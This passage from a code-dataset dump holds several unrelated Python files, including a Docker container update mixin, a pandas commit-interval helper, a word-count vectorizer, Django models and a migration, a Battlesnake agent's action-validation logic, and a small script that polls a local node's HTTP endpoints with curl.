config_name, container_config, client_name, client_config,\n client, container_name, instance_name, cmd, cmd_user)\n\n def generate_item_actions(self, map_name, c_map, config_name, c_config, instances, flags, *args, **kwargs):\n a_paths = {alias: resolve_value(c_map.volumes[alias]) for alias in c_config.attaches}\n for client_name, client, client_config in self._policy.get_clients(c_config, c_map):\n use_host_config = utils.use_host_config(client)\n images = self._policy.images[client_name]\n existing_containers = self._policy.container_names[client_name]\n a_parent = config_name if c_map.use_attached_parent_name else None\n for a in c_config.attaches:\n a_name = self._policy.aname(map_name, a, a_parent)\n log.debug(\"Checking attached container %s.\", a_name)\n a_exists = a_name in existing_containers\n if a_exists:\n a_detail = client.inspect_container(a_name)\n a_status = a_detail['State']\n a_image = a_detail['Image']\n log.debug(\"Container from image %s found with status\\n%s.\", a_image, a_status)\n a_remove = ((not a_status['Running'] and a_status['ExitCode'] in self.remove_status) or\n (self.update_persistent and a_image != self.base_image_ids[client_name]))\n if a_remove:\n log.debug(\"Found to be outdated or non-restartable - removing.\")\n ar_kwargs = self._policy.get_remove_kwargs(c_map, config_name, c_config, client_name,\n client_config, a_name)\n client.remove_container(**ar_kwargs)\n existing_containers.remove(a_name)\n else:\n log.debug(\"Container not found.\")\n a_remove = False\n a_detail = None\n if a_remove or not a_exists:\n log.debug(\"Creating and starting attached container %s.\", a_name)\n ac_kwargs = self._policy.get_attached_create_kwargs(c_map, config_name, c_config, client_name,\n client_config, a_name, a,\n include_host_config=use_host_config)\n client.create_container(**ac_kwargs)\n existing_containers.add(a_name)\n\n if use_host_config:\n as_kwargs = dict(container=a_name)\n else:\n as_kwargs = self._policy.get_attached_host_config_kwargs(c_map, config_name, c_config,\n client_name, client_config, a_name, a)\n client.start(**as_kwargs)\n self.prepare_container(c_map, config_name, c_config, client_name, client_config, client, a,\n a_name)\n else:\n volumes = utils.get_instance_volumes(a_detail)\n if volumes:\n mapped_path = a_paths[a]\n self._volume_checker.register_attached(mapped_path, volumes.get(mapped_path), a, a_parent)\n image_name = self._policy.image_name(c_config.image or config_name, c_map)\n image_id = images.ensure_image(image_name, pull=self.pull_before_update,\n insecure_registry=self.pull_insecure_registry)\n for ci in instances:\n ci_name = self._policy.cname(map_name, config_name, ci)\n ci_exists = ci_name in existing_containers\n log.debug(\"Checking container %s.\", ci_name)\n if ci_exists:\n ci_detail = client.inspect_container(ci_name)\n ci_status = ci_detail['State']\n ci_image = ci_detail['Image']\n ci_running = ci_status['Running']\n log.debug(\"Container from image %s found with status\\n%s.\", ci_image, ci_status)\n ci_remove = ((not ci_running and ci_status['ExitCode'] in self.remove_status) or\n ((not c_config.persistent or self.update_persistent) and ci_image != image_id) or\n not self._volume_checker.check(c_map, c_config, config_name, ci, ci_detail) or\n not self._check_links(map_name, c_config, ci_detail) or\n not _check_environment(c_config, ci_detail) or\n not _check_cmd(c_config, ci_detail) or\n not _check_network(c_config, client_config, ci_detail))\n if ci_remove:\n log.debug(\"Found to be outdated or non-restartable - removing.\")\n if ci_running:\n self.signal_stop(c_map, config_name, c_config, client_name, client_config, client,\n ci_name, ci)\n ir_kwargs = self._policy.get_remove_kwargs(c_map, config_name, c_config, client_name,\n client_config, ci_name)\n client.remove_container(**ir_kwargs)\n existing_containers.remove(ci_name)\n ci_create = True\n ci_start = True\n ci_initial = True\n else:\n ci_create = False\n ci_initial = utils.is_initial(ci_status)\n ci_start = ci_initial if c_config.persistent else not ci_running\n else:\n log.debug(\"Container not found.\")\n ci_create = True\n ci_start = True\n ci_initial = True\n if ci_create:\n log.debug(\"Creating container %s.\", ci_name)\n ic_kwargs = self._policy.get_create_kwargs(c_map, config_name, c_config, client_name,\n client_config, ci_name, ci,\n include_host_config=use_host_config)\n yield client_name, client.create_container(**ic_kwargs)\n existing_containers.add(ci_name)\n if ci_create or ci_start:\n log.debug(\"Starting container %s.\", ci_name)\n if use_host_config:\n is_kwargs = dict(container=ci_name)\n else:\n is_kwargs = self._policy.get_host_config_kwargs(c_map, config_name, c_config, client_name,\n client_config, ci_name, ci)\n client.start(**is_kwargs)\n self.exec_container_commands(c_map, config_name, c_config, client_name, client_config, client,\n ci_name, ci, ci_initial)\n elif ci_running:\n self._run_missing_commands(c_map, config_name, c_config, client_name, client_config, client,\n ci_name, ci)\n\n\nclass ContainerUpdateMixin(object):\n remove_status = (-127, -1)\n pull_before_update = False\n pull_insecure_registry = False\n update_persistent = False\n check_exec_commands = CMD_CHECK_FULL\n\n def update_actions(self, map_name, container, instances=None, **kwargs):\n \"\"\"\n Generates actions for updating a configured container, including all of its dependencies. Updating in this case\n means that:\n\n * For each image the default tag (e.g. ``latest``) is pulled from the registry, but only if\n :attr:`~ContainerUpdateMixin.pull_before_update` is set to ``True``.\n * An attached container is removed and re-created if its image id does not correspond with the current base\n image, or the status indicates that the container cannot be restarted (-127 in this implementation).\n Attached and `persistent` images are not updated in case of image changes, unless\n :attr:`~ContainerUpdateMixin.update_persistent` is set to ``True``.\n * Any other container is re-created if\n\n - any of its attached volumes' paths does not match (i.e. they are not actually sharing the same virtual\n file system), or\n - the container cannot be restarted (the error status indicates so), or\n - the image id does not correspond with the configured image (e.g. because the image has been updated), or\n - environment variables have been changed in the configuration, or\n - command or entrypoint have been set or changed, or\n - network ports differ from what is specified in the configuration.\n\n Only prior existing containers are removed and re-created. Any created container is also started by its\n configuration.\n\n :param map_name: Container map name.\n :type map_name: unicode | str\n :param container: Container configuration name.\n :type container: unicode\n :param instances: Instance names. Optional, if ``None`` the configured instances or one default instance is\n updated.\n :type instances: list[unicode]\n :param kwargs: Has no effect in this implementation.\n :return: Return values of created main containers.\n :rtype: list[(unicode, dict)]\n \"\"\"\n return ContainerUpdateGenerator(self).get_all_actions(map_name, container, instances=instances, **kwargs)\n","sub_path":"dockermap/map/policy/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":22840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"561391520","text":"from dateutil.parser import parse\nimport pandas as pd\nimport glob\nimport os\n\n\ndef date_intervals(start, end, intv):\n \"\"\"\n finds a list of date time objects between start & end date\n \n :param start: datetime object of starting date\n :param end: datetime object of ending date\n :param intv: interval of the date range\n \"\"\"\n diff = (end - start) / intv\n for i in range(intv):\n yield start + diff * i\n yield end\n\n\ndef find_commits_at_intervals(df, interval=5):\n\n percentage = 100 // interval\n\n df = df[df[\"commit_date\"].str.contains(\"-\")]\n\n dates = df[\"commit_date\"].apply(parse).tolist()\n\n df[\"converted_date\"] = df[\"commit_date\"].apply(parse)\n df.set_index(pd.to_datetime(df[\"converted_date\"]), inplace=True)\n min_date = min(dates)\n max_date = max(dates)\n selected_dates = []\n\n intervals_timestamp_list = []\n\n for interval_date in date_intervals(min_date, max_date, interval):\n intervals_timestamp_list.append(interval_date)\n\n first_loop = True\n prev_commit_date = None\n selected_dates.append(min_date)\n\n for interval_date in intervals_timestamp_list:\n if first_loop:\n # selected_dates.append(min_date)\n prev_commit_date = selected_dates[0]\n first_loop = False\n else:\n for commit_date in dates:\n if commit_date <= interval_date:\n prev_commit_date = commit_date\n else:\n break\n selected_dates.append(prev_commit_date)\n\n # extra check\n if len(selected_dates) != (interval + 1):\n print(\"ERROR: PROBLEMATIC INPUT\")\n data = []\n for item in selected_dates:\n data.extend(df.loc[df[\"converted_date\"] == item].to_dict(\"records\"))\n dd = pd.DataFrame()\n dd = dd.append(data, ignore_index=True)\n dd = dd.drop([\"converted_date\"], axis=1)\n percentages = [n * percentage for n in range(interval + 1)]\n\n # special case\n # if \"microgateway\" in file_name:\n # dd = dd[ dd['commit_sha'] != 'e48441e2bcdc41f8a84cdaaec16439852ed7f013' ]\n # dd = dd[ dd['commit_sha'] != '3ac9711004dcfed5b71baeb08341c0965793e4d5' ]\n\n if len(percentages) == len(dd):\n dd[\"interval\"] = percentages\n dd[\"interval_boundary_timestamp\"] = intervals_timestamp_list\n else:\n print(len(percentages))\n print(len(dd))\n print(dd.head())\n print(percentages)\n\n # extra check\n if len(dd) != interval + 1:\n print(\"ERROR: PROBLEMATIC FILE\")\n\n dd = dd[\n [\n \"repo_name\",\n \"commit_date\",\n \"commit_sha\",\n \"commit_status\",\n \"interval\",\n \"interval_boundary_timestamp\",\n \"affected_packages_low_list\",\n \"affected_packages_low_list_count\",\n \"affected_packages_medium_list\",\n \"affected_packages_medium_list_count\",\n \"affected_packages_high_list\",\n \"affected_packages_high_list_count\",\n \"all_packages\",\n \"all_count\",\n \"affected_packages\",\n \"affected_count\",\n \"ratio\",\n ]\n ]\n return dd\n","sub_path":"dependency_reveal/helper/step4.py","file_name":"step4.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"397108495","text":"class CountVectorizer():\n \"\"\"\n Class that has functions fit_transform and\n get_feature_names.\n Class has attributes lowercase and _vocabulary.\n \"\"\"\n stop_words = (\"the\", \"a\", \"and\")\n\n def __init__(self, lowercase=True):\n self.lowercase = lowercase\n self._vocabulary = {}\n\n def get_feature_names(self):\n return self._vocabulary\n\n def fit_transform(self, texts):\n \"\"\"Сounts the number of occurrences of each word\n from the word corpus in a specific sentence.\"\"\"\n\n if self.lowercase:\n texts = [sentence.lower() for sentence in texts]\n\n vocab_pre = []\n\n for x in texts:\n words = x.split()\n for w in words:\n if w in vocab_pre or w in CountVectorizer.stop_words:\n continue\n else:\n vocab_pre.append(w)\n\n self._vocabulary = {i: item for i, item in enumerate(vocab_pre)}\n\n final = []\n for sentence in texts:\n pre_final = []\n for q in self._vocabulary.values():\n pre_final.append(sentence.split().count(q))\n final.append(pre_final)\n\n return final\n\n\nif __name__ == '__main__':\n corpus = [\n 'Crock Pot Pasta Never boil pasta again',\n 'Pasta Pomodoro Fresh ingredients Parmesan to taste'\n ]\n\n vectorizer = CountVectorizer()\n count_matrix = vectorizer.fit_transform(corpus)\n print(vectorizer.get_feature_names())\n print(count_matrix)\n","sub_path":"Python/HW3/Count_vectorizer.py","file_name":"Count_vectorizer.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"416206509","text":"def main():\n num = float(input(\"Digite um número fracionário para ser arredondado: \"))\n\n arredondar(num)\n\n\ndef arredondar(n):\n if n % 1 >= 0.5:\n n = (n // 1) + 1\n print(n)\n else: \n n = n - (n % 1)\n print(n)\n\n\nmain()","sub_path":"Fabio02a/Q21_F2a_arrendondar.py","file_name":"Q21_F2a_arrendondar.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"483927471","text":"from django.contrib.auth.models import User\nfrom PIL import Image\nfrom django.db import models\n\n\n\nclass Profile(models.Model):\n user = models.OneToOneField(User, on_delete=models.CASCADE)\n image = models.ImageField(default='default.jpg', upload_to='profile_pics')\n\n def __str__(self):\n return f'{self.user.username} Profile'\n\n def save(self, *args, **kwargs):\n super().save(*args, **kwargs)\n\n img = Image.open(self.image.path)\n\n if img.height > 300 or img.width > 300:\n output_size = (300, 300)\n img.thumbnail(output_size)\n img.save(self.image.path)\n\n#folowing model keeps user's list of books read\nclass MyLibraryList(models.Model):\n UserID = models.ForeignKey(User, on_delete=models.CASCADE,default='', null=True)\n name = models.CharField(max_length=50)\n author = models.CharField(max_length=50)\n genre = models.CharField(max_length=50)\n bling = models.CharField(max_length=100, default='', null=True)\n\ndef __str__(self):\n return self.name\n\n\n\n","sub_path":"Project_Code/Users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"216924669","text":"DATA = [\n {'last_name': 'Jiménez'},\n {'first_name': 'Max', 'last_name': 'Peck'},\n {'first_name': 'Ivan'},\n {'first_name': 'Max', 'last_name': 'Peck', 'born': 1961},\n {'first_name': 'Max', 'last_name': 'Peck', 'born': 1961, 'first_step': 1969},\n]\n\n\n# Wykorzystując listę\nfieldnames = []\n\nfor record in DATA:\n for key in record.keys():\n if key not in fieldnames:\n fieldnames.append(key)\n\nprint('list():', fieldnames)\n\n\n# set(), podejście 1\n# Wykorzystując zbiór, który deduplikuje za nas\nfieldnames = set()\n\nfor record in DATA:\n for key in record.keys():\n fieldnames.add(key)\n\nprint('set(), podejście 1:', fieldnames)\n\n\n# set(), podejście 2\n# Wykorzystując zbiór, który deduplikuje za nas\nfieldnames = set()\n\nfor key in [record.keys() for record in DATA]:\n fieldnames.update(key)\n\nprint('set(), podejście 2:', fieldnames)\n\n\n# set(), podejście 3\n# Wykorzystując zbiór, który deduplikuje za nas\nfieldnames = set()\n\nfor record in DATA:\n fieldnames.update(record.keys())\n\nprint('set(), podejście 3:', fieldnames)\n\n\n# set(), podejście 4\n# Wykorzystując zbiór, który deduplikuje za nas\nfieldnames = set()\nfieldnames.update(key for key in record.keys() for record in DATA)\nprint('set(), podejście 4:', fieldnames)\n\n","sub_path":"src/sredniozaawansowany-serializacja.py","file_name":"sredniozaawansowany-serializacja.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"399307515","text":"\n\nfrom xai.brain.wordbase.nouns._syndrome import _SYNDROME\n\n#calss header\nclass _SYNDROMES(_SYNDROME, ):\n\tdef __init__(self,): \n\t\t_SYNDROME.__init__(self)\n\t\tself.name = \"SYNDROMES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"syndrome\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_syndromes.py","file_name":"_syndromes.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"400252789","text":"# This is a sample Python script.\r\nimport os\r\nimport re\r\nfrom re import Match\r\n\r\nf = open(\"./log.txt\", mode='r')\r\n\r\n#\r\n# ip=`curl ifconfig.me`\r\n# connectCount=`curl -s http://localhost:1635/peers | jq '.peers | length' `\r\n# address=`curl localhost:1635/addresses | jq | grep ethereum`\r\n# publicKey=`curl localhost:1635/addresses | jq | grep publicKey`\r\n# pssPublicKey=`curl localhost:1635/addresses | jq | grep pssPublicKey`\r\n# balance=`curl localhost:1635/chequebook/balance | jq`\r\n# cheque=`curl localhost:1635/chequebook/cheque | jq`\r\n#\r\n\r\nfor line in f:\r\n newline = re.findall(\"127.0.0.1:(\\d+)-\", line)\r\n if newline:\r\n IP = \"`curl ifconfig.me`\"\r\n connectCount = \"curl -s http://localhost:\"+newline.pop(0)+\"/peers | jq '.peers | length'\"\r\n address = \"`curl localhost:\"+newline.pop(0)+\"/addresses | jq | grep ethereum`\"\r\n publicKey = \"`curl localhost:\"+newline.pop(0)+\"/addresses | jq | grep publicKey`\"\r\n pssPublicKey = \"`curl localhost:\"+newline.pop(0)+\"/addresses | jq | grep pssPublicKey`\"\r\n balance = \"`curl localhost:\"+newline.pop(0)+\"/chequebook/balance | jq`\"\r\n cheque = \"`curl localhost:\"+newline.pop(0)+\"/chequebook/cheque | jq`\"\r\n os.system(IP)\r\n os.system(connectCount)\r\n os.system(address)\r\n os.system(publicKey)\r\n os.system(pssPublicKey)\r\n os.system(balance)\r\n os.system(cheque)\r\n\r\n\r\n\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"207221221","text":"from typing import List, Tuple, Dict\nimport numpy as np\nimport time\n\nfrom agents.heuristics.Distance import Distance\nfrom agents.Hyperparameters import Params_ValidActions, Params_Automat\nfrom agents.States import States\n\nfrom environment.Battlesnake.model.Snake import Snake\nfrom environment.Battlesnake.model.board_state import BoardState\nfrom environment.Battlesnake.model.Direction import Direction\nfrom environment.Battlesnake.model.Position import Position\nfrom environment.Battlesnake.model.grid_map import GridMap\nfrom environment.Battlesnake.model.Occupant import Occupant\n\n\n# TODO:\n# Food essen auf weg verringert die tiefe\n# Ab todespunkt/zug x zukünftige tote gegner vom Board löschen\n\n\nclass ValidActions:\n\n def __init__(self,\n board: BoardState,\n grid_map: GridMap,\n me: Snake,\n my_state: States\n ):\n\n self.depth = Params_ValidActions.DEPTH\n self.board = board\n self.snakes = board.snakes\n self.grid_map = grid_map\n self.my_snake = me\n self.valid_board = np.zeros((self.board.width, self.board.height))\n self.valid_actions = []\n self.kill_board = np.zeros((self.board.width, self.board.height))\n self.direction_depth = {}\n self.state = my_state\n self.food_on_path_count = {}\n\n @staticmethod\n def get_valid_actions(board: BoardState,\n possible_actions: List[Direction],\n snakes: List[Snake],\n my_snake: Snake,\n grid_map: GridMap[Occupant],\n avoid_food: bool) -> List[Direction]:\n\n my_head = my_snake.get_head()\n snake_tails = []\n val_actions = []\n forbidden_fields = []\n\n for snake in snakes:\n if snake.snake_id != my_snake.snake_id:\n for direc in snake.possible_actions():\n enemy_head = snake.get_head()\n forbidden_fields.append(enemy_head.advanced(direc))\n if snake.health == 100:\n continue\n snake_tails.append(snake.get_tail())\n\n for direction in possible_actions:\n next_position = my_head.advanced(direction)\n\n # avoid eating\n if my_snake.health > Params_ValidActions.FOOD_BOUNDARY and avoid_food and my_snake.get_length() > 5:\n if grid_map.get_value_at_position(next_position) is Occupant.Food:\n continue\n\n # outofbounds\n if board.is_out_of_bounds(next_position):\n continue\n\n # body crash -> ganze Gegner Schlange minus letzten Teil\n if grid_map.get_value_at_position(next_position) is Occupant.Snake and next_position not in snake_tails:\n continue\n\n # if next_position in forbidden_fields:\n # continue\n\n val_actions.append(direction)\n\n if not val_actions:\n for direction in possible_actions:\n next_position = my_head.advanced(direction)\n # eat if its the only possible valid action\n if grid_map.get_value_at_position(next_position) is Occupant.Food:\n val_actions.append(direction)\n\n return val_actions\n\n def _action_flood_fill(self, flood_queue: List, step: int, visited: List, action_plan: np.ndarray, enemy: bool):\n x_size, y_size = (self.board.width, self.board.height)\n new_queue = []\n for (x, y) in flood_queue:\n\n if (x, y) in visited:\n continue\n\n if self.board.is_out_of_bounds(Position(x, y)):\n continue\n\n if enemy:\n if self.valid_board[x][y] + step < 0:\n continue\n\n if self.valid_board[x][y] == 0 or step <= abs(self.valid_board[x][y]):\n self.valid_board[x][y] = step\n\n if step < 4:\n action_plan[x][y] = Params_ValidActions.AREA_VALUE * (4 - step)\n\n if not enemy:\n if step < self.valid_board[x][y] < 20 or self.valid_board[x][y] == 0:\n self.valid_board[x][y] = -step\n \n # eigenenes Schwanzende berücksichtigen\n if 20 < self.valid_board[x, y] < 40 and self.valid_board[x, y] % 20 <= step:\n self.valid_board[x][y] = -step\n\n # Schwanzanfang berücksichtigen\n if step == 1:\n for snake in self.board.snakes:\n tail = snake.get_tail()\n if snake.health != 100 and (x, y) == (tail.x, tail.y) and self.valid_board[x, y] != 1:\n self.valid_board[x][y] = -step\n\n visited.append((x, y))\n\n # add next steps to queue\n if x > 0 and (x - 1, y) not in visited:\n new_queue.append((x - 1, y))\n if x < (x_size - 1) and (x + 1, y) not in visited:\n new_queue.append((x + 1, y))\n if y > 0 and (x, y - 1) not in visited:\n new_queue.append((x, y - 1))\n if y < (y_size - 1) and (x, y + 1) not in visited:\n new_queue.append((x, y + 1))\n\n return new_queue, visited, action_plan\n\n def _mark_snakes(self, help_board: np.ndarray) -> None:\n # mark enemy snakes\n for snake in self.board.snakes:\n if snake.snake_id != self.my_snake.snake_id:\n for index, position in enumerate(snake.body[::-1]):\n self.valid_board[position.x][position.y] = (index + 41)\n help_board[position.x][position.y] = (index + 41)\n\n # mark my snake on board\n for index, position in enumerate(self.my_snake.body[::-1]):\n self.valid_board[position.x][position.y] = (index + 21)\n help_board[position.x][position.y] = (index + 21)\n\n def expand(self, next_position: Position, direction: Direction) -> int:\n\n step_history = []\n dead_ends = {}\n searching = True\n value = -1\n dead = False\n longest_way = 0\n food_count = 0\n\n # get first field of Direction and check if valid\n if self.valid_board[next_position.x][next_position.y] != value:\n return 0\n step_history.append((next_position.x, next_position.y))\n x_coord, y_coord = next_position.x, next_position.y\n\n while searching:\n positions = get_valid_neigbours(x_coord, y_coord, self.valid_board)\n\n for x, y in positions:\n\n # check if next value is valid and no dead end\n if self.valid_board[x][y] == value-1 and (x, y) not in dead_ends.keys():\n if self.grid_map.grid_cache[x][y] == Occupant.Food:\n food_count += 1\n # TODO: Logik dass schlangen ende berücksichtigt wird\n if Position(x, y) == self.my_snake.get_tail() and food_count:\n longest_way -= 1\n dead = False\n step_history.append((x, y))\n x_coord, y_coord = x, y\n value -= 1\n break\n # mark dead ends\n else:\n dead = True\n\n # break if a valid endnode was found\n if self.valid_board[x][y] == 0: # or self.valid_board[x][y] == -Params_ValidActions.DEPTH\n searching = False\n dead = False\n break\n\n # check if dead end and no more possible nodes to explore\n if dead and not step_history:\n searching = False\n\n # update range for each direction\n if longest_way >= value:\n longest_way = value\n self.food_on_path_count[direction] = food_count\n\n # check if dead end but still valid nodes to explore\n if dead and step_history:\n dead_ends[(x_coord, y_coord)] = value\n (x_pos, y_pos) = step_history.pop(-1)\n\n if self.grid_map.grid_cache[x_pos][y_pos] == Occupant.Food:\n food_count -= 1\n\n if step_history:\n x_coord, y_coord = step_history[-1]\n value += 1\n\n return longest_way\n\n def _calculate_board(self) -> np.ndarray:\n #########################\n #\n # Idee: Für jede Schlange board einzeln berechnen und dann mit minimalen Werten überlagern\n #\n #########################\n enemy_snakes = [snake for snake in self.snakes if snake.snake_id != self.my_snake.snake_id]\n action_plan = np.zeros((self.board.width, self.board.height))\n\n # add enemy snakes to board -> ( better with all snakes? )\n for snake in self.board.snakes:\n for index, position in enumerate(snake.body[::-1]):\n self.valid_board[position.x][position.y] = -(index + 1)\n action_plan[position.x][position.y] = Params_ValidActions.BODY_VALUE\n action_plan[snake.get_head().x][snake.get_head().y] = Params_ValidActions.HEAD_VALUE\n\n # build movement area around all enemy snakes near us\n for enemy in enemy_snakes:\n start_value = 1\n if enemy.get_length() < self.my_snake.get_length():\n start_value = 2\n head = enemy.get_head()\n\n flood_queue = get_valid_neigbours(head.x, head.y, self.valid_board)\n visited = [(head.x, head.y)]\n\n # build new flood for each depth level\n for step in range(start_value, self.depth + 1):\n flood_queue, visited, action_plan = self._action_flood_fill(flood_queue, step, visited, action_plan,\n enemy=True)\n\n if len(enemy.body) == 4:\n pass\n return action_plan\n\n def _order_directions(self):\n invalid_actions = []\n escape_direction_keys = []\n escape_path_value = []\n\n for k, v in self.direction_depth.items():\n if v > -Params_ValidActions.DEPTH:\n invalid_actions.append(k)\n\n escape_direction_keys.append(k)\n escape_path_value.append(v)\n\n # sort dict\n order = np.argsort(escape_path_value)\n escape_direction_keys = [escape_direction_keys[i] for i in order]\n escape_path_value = [escape_path_value[i] for i in order]\n self.direction_depth = dict(zip(escape_direction_keys, escape_path_value))\n\n return invalid_actions\n\n def _find_invalid_actions(self) -> List[Direction]:\n help_board = np.zeros((self.board.width, self.board.height))\n head = self.my_snake.get_head()\n\n # mark snakes on the board\n self._mark_snakes(help_board)\n old_board = self.valid_board.copy()\n # print(self.valid_board)\n\n # calculate new wave for each depth level from queue\n for direction in self.valid_actions:\n next_position = head.advanced(direction)\n flood_queue = [(next_position.x, next_position.y)]\n visited = [(head.x, head.y)]\n\n for step in range(1, self.depth + 1):\n flood_queue, visited, _ = self._action_flood_fill(flood_queue, step, visited, None, enemy=False)\n\n if self.state != States.HUNGRY and self.my_snake.get_length() > 5:\n for food_pos in self.board.food:\n if Distance.manhattan_dist(head, food_pos) > 3:\n self.valid_board[food_pos.x][food_pos.y] = 1\n\n # expand for each direction\n depth = self.expand(next_position, direction)\n print(self.valid_board)\n\n self.direction_depth[direction] = depth\n self.kill_board = np.add(self.kill_board, self.valid_board)\n self.valid_board = old_board.copy()\n\n self.kill_board = np.subtract(self.kill_board, old_board*(len(self.valid_actions)-1))\n\n invalid_actions = self._order_directions()\n\n return invalid_actions\n\n def _valid_check(self):\n\n # calculate range of my snake and find valid actions\n invalid_actions = self._find_invalid_actions()\n\n self.valid_actions = [valid_action for valid_action in self.valid_actions\n if valid_action not in invalid_actions]\n\n print(\"Multi-Valid Actions:\", self.valid_actions)\n\n # if less than 2 valid_actions decide to look deeper in direction_depth\n borderfields = count_border_fields(self.my_snake.get_head(), self.valid_board)\n threshold = - self.depth + 1\n while self.direction_depth and len(self.valid_actions) - borderfields < 2:\n self.valid_actions = [k for k, v in self.direction_depth.items() if v <= threshold]\n if threshold < -3 and len(self.valid_actions) >= 1:\n break\n if len(self.board.snakes) > 2 and self.state != States.HUNGRY:\n if threshold <= -5 and len(self.valid_actions) >= 1:\n break\n if threshold == -1:\n break\n threshold += 1\n print(\"Direction Depth: \", self.direction_depth)\n print(\"Valid Actions:\", self.valid_actions)\n\n def multi_level_valid_actions(self) -> Tuple[List[Direction], np.ndarray, Dict, np.ndarray]:\n\n start_time = time.time()\n deepest = 0\n\n possible_actions = self.my_snake.possible_actions()\n self.valid_actions = self.get_valid_actions(self.board, possible_actions, self.snakes,\n self.my_snake, self.grid_map, avoid_food=True)\n\n if self.my_snake.health < Params_Automat.HUNGER_HEALTH_BOUNDARY:\n self.depth = 5\n if self.my_snake.health < 10:\n self.depth = 3\n else:\n self.depth = Params_ValidActions.DEPTH\n if self.my_snake.health > 60:\n self.depth = Params_ValidActions.DEPTH\n\n # calculate enemy snakes board\n action_plan = self._calculate_board()\n\n # calculate valid actions\n self._valid_check()\n\n if self.direction_depth:\n deepest = min(list(self.direction_depth.values()))\n\n if (len(self.valid_actions) < 2 or deepest < -4) and self.state != States.HUNGRY:\n # calculate valid_actions and allow snake to eat\n self.valid_actions = self.get_valid_actions(self.board, possible_actions, self.snakes,\n self.my_snake, self.grid_map, avoid_food=False)\n if self.valid_actions:\n self._valid_check()\n else:\n self.valid_actions = self.my_snake.possible_actions()\n self._valid_check()\n\n print(\"ValidAction-DAUER: \", time.time() - start_time)\n\n return self.valid_actions, action_plan, self.direction_depth, self.kill_board\n\n\ndef get_valid_neighbour_values(x: int, y: int, square: np.ndarray) -> List[int]:\n neighbour_fields = []\n\n if x + 1 < square.shape[0]:\n neighbour_fields.append(square[x + 1][y])\n if x - 1 >= 0:\n neighbour_fields.append(square[x - 1][y])\n if y + 1 < square.shape[1]:\n neighbour_fields.append(square[x][y + 1])\n if y - 1 >= 0:\n neighbour_fields.append(square[x][y - 1])\n\n return neighbour_fields\n\n\ndef get_valid_neigbours(x: int, y: int, square: np.ndarray) -> List[Tuple[int, int]]:\n neighbour_fields = []\n\n if x + 1 < square.shape[0]:\n neighbour_fields.append((x + 1, y))\n if x - 1 >= 0:\n neighbour_fields.append((x - 1, y))\n if y + 1 < square.shape[1]:\n neighbour_fields.append((x, y + 1))\n if y - 1 >= 0:\n neighbour_fields.append((x, y - 1))\n\n return neighbour_fields\n\n\ndef count_border_fields(my_head: Position, board: np.ndarray) -> int:\n count = 0\n width, height = board.shape\n valid_neigbours = get_valid_neigbours(my_head.x, my_head.y, board)\n\n for (x, y) in valid_neigbours:\n if x == 0 or y == 0 or x == width - 1 or y == height - 1:\n count = 1\n\n return count\n\n\n\"\"\"\nself.board.snakes[0].body = [Position(2,3),Position(2,4),Position(2,5),Position(2,6),Position(2,7),Position(2,8), \nPosition(2,9),Position(3,9),Position(4,9),Position(5,9),Position(6,9)]\nself.board.snakes[2].body = [Position(0,6),Position(0,7),Position(0,8),Position(0,9),Position(0,10),Position(1,10), \nPosition(2,10),Position(3,10),Position(4,10),Position(5,10)Position(6,10)Position(7,10)]\nself.board.snakes[1].body = [Position(0,0),Position(0,1),Position(0,2),Position(0,3)]\nself.board.snakes[1].body = [Position(1,3),Position(1,4),Position(1,5),Position(1,6)]\nself.board.snakes[1].body = [Position(1,3),Position(1,4),Position(1,5),Position(0,5)]\nself.board.snakes[1].body = [Position(1,3),Position(1,4),Position(1,5),Position(0,5),Position(0,6),\nPosition(0,7),Position(0,8)]\n\"\"\"","sub_path":"agents/heuristics/ValidActions.py","file_name":"ValidActions.py","file_ext":"py","file_size_in_byte":17049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"81827965","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('admin_change', '0015_auto_20150914_1739'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Teamsheet',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('bench', models.ManyToManyField(to='admin_change.Player', blank=True)),\n ('coach', models.ForeignKey(default=1, to='admin_change.Coach')),\n ('defensiveMidfielder', models.ForeignKey(related_name='defensiveMidfielder', default=5, to='admin_change.Player')),\n ('goalkeeper', models.ForeignKey(related_name='goalkeeper', default=11, to='admin_change.Player')),\n ('leftBack', models.ForeignKey(related_name='leftBack', default=1, to='admin_change.Player')),\n ('leftCenterBack', models.ForeignKey(related_name='leftCenterBack', default=2, to='admin_change.Player')),\n ('rightBack', models.ForeignKey(related_name='rightBack', default=4, to='admin_change.Player')),\n ('rightCenterBack', models.ForeignKey(related_name='rightCenterBack', default=3, to='admin_change.Player')),\n ],\n ),\n ]\n","sub_path":"mysite/admin_change/migrations/0016_teamsheet.py","file_name":"0016_teamsheet.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"626093995","text":"'''\n\npilots.py\n\nMethods to create, use, save and load pilots. Pilots\ncontain the highlevel logic used to determine the angle\nand throttle of a vehicle. Pilots can include one or more\nmodels to 